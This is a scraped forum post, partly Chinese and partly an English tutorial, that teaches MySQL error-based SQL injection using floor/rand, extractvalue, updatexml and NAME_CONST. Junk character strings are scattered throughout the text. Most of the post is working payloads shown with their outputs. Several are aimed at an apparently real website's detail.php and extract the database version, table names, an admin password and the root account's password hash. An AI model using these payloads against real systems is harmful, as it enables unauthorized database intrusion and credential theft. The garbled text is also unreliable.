|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
3 u7 w+ s4 _ w首先进行正常查询: mysql> select * from article where id = 1;& B% e1 h z t
+—-+——-+———+) \) A2 ~6 v6 G% g
| id | title | content |. s/ n" i* i* z" G
+—-+——-+———+" l$ G8 ]- ]- X0 ^$ ~
| 1 | test | do it |. V# g. }/ f, x5 M0 {
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);/ d* u$ Z. b! e+ k, T6 \! {6 [
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
2 H r) q) H D( }$ z例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);4 @& x% r- {' ~+ J$ |# }
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));4 L* ~2 o. a4 S5 L. e
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue& T* N8 ]& a8 G
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
6 Z* K* d% L, U5 @& cERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
7 p/ v- a! b. `# X) C( k
9 h+ ]3 W- G2 x( }1 h( _9 O4 E再收集:
$ d: U9 j& u! ]http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 5 E$ X( U* _3 G# N( ^/ _' s* G1 j
H0 ~7 F8 B) f' b7 E
Error uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
5 x3 ?) _3 F1 d3 V1 I7 w; s! G
1 h D4 [9 ^) jhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
6 o V# F7 s2 r7 [1 p" b& K- `5 t) g
3 R* h$ u. s" _4 |- L4 d7 cError uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 0 b. j2 F- _ u% h+ H" o
) ^3 y& {: o A5 {' w
MYSQL高版本报错注入技巧-利用NAME_CONST注入
6 w( D0 H( N6 `& h, X8 ?' vIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. ! p% ], s+ @+ Z- J0 @
; l7 T& h/ Z/ V, u+ H# S
! q3 s) p& F) i$ \相关信息
( k; T8 W" c6 }1 W) R w+ |+ g q) [2 G; ~) O
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
- V3 S. o6 a8 S0 G' a0 _5 t
" n1 h! d( }% _5 C4 K8 gCode:- v' {) E7 a+ `7 X+ p2 z. i7 v" ]- r
NAME_CONST(DATA, VALUE)
3 V, {3 s' W& _
6 i* @4 j- G$ g7 O q) e+ fReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
3 t" u# N+ D# T% ~: F/ M9 S( r! Q. _) [
, [* |2 |/ I$ I# G' }SELECT NAME_CONST('TEST', 1)
6 q3 U* M! a8 z* X- K/ P
3 ]! n5 I, g3 }) a
j/ b6 W1 ~2 Q3 A8 d
/ @& r* N# y H|---------------|
4 p( d5 I$ c5 {) c| TEST |4 q. ~: H( [ ?. _# R" e1 e
| |0 m" \9 `- ?4 ~" p4 z$ L9 _ W8 H
|---------------|5 S# d) l7 S* ]" ^, O' r5 X3 ?
| 1 |2 p5 ]$ Z6 h- V7 V
| |( b& M1 I2 T- f' e' I8 _. `
|---------------|
6 \0 Y. q; O* Y# `% V
* E$ D' a% h, V* \! |5 P! o9 l; v8 _# D3 L0 w
6 B( L# v& g" w) j
) K3 P- h& Q; f; N
http://dev.mysql.com/doc/refman/5.0/en/m...name-const, H4 l: [. H1 q1 C
Intro to MySQL Variables9 d$ b1 ]0 h# \
# `2 [% B) _) t7 N4 r+ p: MOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.$ n! O ]3 i" [8 ?$ y
' K0 {7 J$ e9 C2 c) w
Code:0 l+ o- n2 J3 N! Y5 u) P$ m
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261: `' _# }; l( v; a, D/ p
Q9 `9 V. e5 a
( r; A$ }' }) A# Y% E) S) f# [2 R5 V
. \7 }" I! Y( D& e5 u7 G1 ^
1 P" b7 s2 m. n9 d
Code:
1 _/ A0 f' a* `6 |4 ?3 eand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
' B; a6 j9 A! N% Y2 j$ N+ T! a" g9 Q. m
! x9 `4 Q% f7 }' A0 qVAR = Your MySQL variable.
% h' m; ~$ ~0 |" K: R* l: D) |8 x; C0 L& n( H
MySQL 5.1.3 Server System Variables
% X' U5 V! B0 p
9 ]; `" C7 d8 N% u2 R' yLet's try it out on my site..
- U9 v. U3 w2 H+ U2 |" f
# s4 _3 p& {( p$ [% x. JCode:( S t3 E# u; g
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--: v- Y" [, t6 }# k8 ]
3 H) E/ r0 A1 k* qError uplicate column name '5.0.27-community-nt' ^5 }, k/ I& ]0 z& L
# C f1 q. W2 B# @. @* w
) p' a, l6 S F% s* R( l( T
2 i" h* `, D4 \7 o6 u
9 s9 ]. \- K% d9 b, Y( l4 f
4 _6 L6 `7 r! x" ]/ L. @% n9 WNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
7 u# S& u3 y. f; ~3 c6 s& e3 U9 q5 r9 U
Data Extraction. M9 q: D+ l" p8 E
/ d7 j+ G6 M3 lCode:
+ I* U6 j- |( G3 i3 P+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--; U# G: x" O$ @, B8 T
, W# @! K+ G/ B
) b! F5 ?2 `5 \5 f) ~7 P% UWe should get a duplicate column 1 error.../ r8 q+ v" n, I& c% ?' Q
( B9 V( N0 P) S" E1 rCode:
3 k) W* L( w# {$ S Khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--1 Y, _! ], O# b A$ {
' p6 H3 E9 n5 Q% {8 S( k4 AError uplicate column name '1
: k( V. A6 \& C. h( r! N
/ B* Z. V. k" H2 q% p& P" }% u/ U% m) g" t: q
" @- K$ n3 e' z( w
* B n+ g N4 F6 S' w# ]' a- u5 R/ I& q r0 m4 [: d( ^2 ?3 j
8 B3 E* _3 g9 ^% V
Now let's get the tables out this bitch..1 Q2 t* Z* X5 A; O; [
3 K0 p; n( E9 A! d6 W; V1 Z
Code:3 R# R( h/ V. w% v9 H6 |8 @$ u
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--* d, G# K4 \' k4 N: [. _
8 C5 S# d9 Y' v# E9 w
: C& O" x$ q6 X& h( ?& r) FLet's see if it works here, if it does, we can go on and finish the job.( q* L& r+ u& k8 z8 |0 t" i
/ `/ v! k( h1 C8 T* E, T+ l+ S1 m7 RCode:
) G7 [9 j4 I) l+ O$ Nhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--/ X) T# L5 @( v+ {! ]2 B% z- m
. W& ?) p+ U% ?7 j X ]' B
% B; v8 u8 Q4 S; e
Error uplicate column name 'com_admanage
* m2 Q4 P1 H& r7 ~# Q" X9 q/ L* N
5 |2 }" _$ e; K: ~* W5 n
: C9 e; v2 X) W4 i; D
, y8 E; i' Y( U; ~4 R! r* G* n
# ~* Y: s7 V7 o3 U7 ~
. q, J2 P+ X% l+ d7 pNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
- m1 q! X6 p, O- j- T8 a) b) i0 m% \7 \" n: `
Let's get the columns out of the user table..( t% E u8 H1 N5 J
# q$ G- L" p8 q+ S$ N; ~& f
Code:& b9 Z; v# s& N( D S# I- i
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
5 Z. w( k# K& A/ h6 R& m+ W* h; ]( G1 U( ]6 t
' \8 [ t$ G6 xSo mine looks like this, and I get the duplicate column name 'Host'.- y% ^) q4 J. F" f9 x% \
! m' \' M. [6 l" A5 l% R
Code:* B" |, w4 c7 z( g7 ~
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
1 X; {: [6 D1 m% ?2 x" j% F
* E9 j9 s3 r' E6 _" x6 I# j" EError uplicate column name 'Host' F# E$ U8 j5 v
. V6 V3 M# L" O8 O# ^! K+ k1 O! _
+ _2 [) Z: t4 ] t3 y& }! A, | E! L: S! u* B2 s
2 Y: A Q2 _* l' k6 k" z; `' W/ w* d
Woot, time to finish this bitch off.
: ^+ ]9 A# M7 q! J, Q0 ~; F* J n/ i3 ?# v& d, X9 |
Code:% L: o1 E% Z$ j& |7 _4 U6 M8 m6 c
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--$ _6 d9 o5 \' v9 h, Y
9 O0 I; }4 L: {% I1 t! c% C, N
3 Q" l& w5 Y6 t9 ^! }; eSo mine looks like this...' v+ O% T" L: h: P
. Z6 e* W% I' o/ d3 U+ n8 bCode:$ F1 p0 [: ^; ?
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--+ l6 p8 P. T2 |( [+ _
2 h- Z4 U4 h( z1 `) w. S
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'8 G; B! m( c5 ?0 ?
6 g& h0 o9 `5 _6 ]& g5 A6 i1 r8 u6 j( u% k* f2 ^6 C. ~4 {3 k
1 e; x' y: g' i0 d" o5 c8 O% S* {, J
4 U; }! B1 h7 ~3 m0 Y3 V- w
9 u; q! X( F& o' _! L. f8 n
And there we have it, thanks for reading., i0 B& G& y( s. W4 W+ |* y' Q
2 ]- s6 n$ \ t5 J5 c
|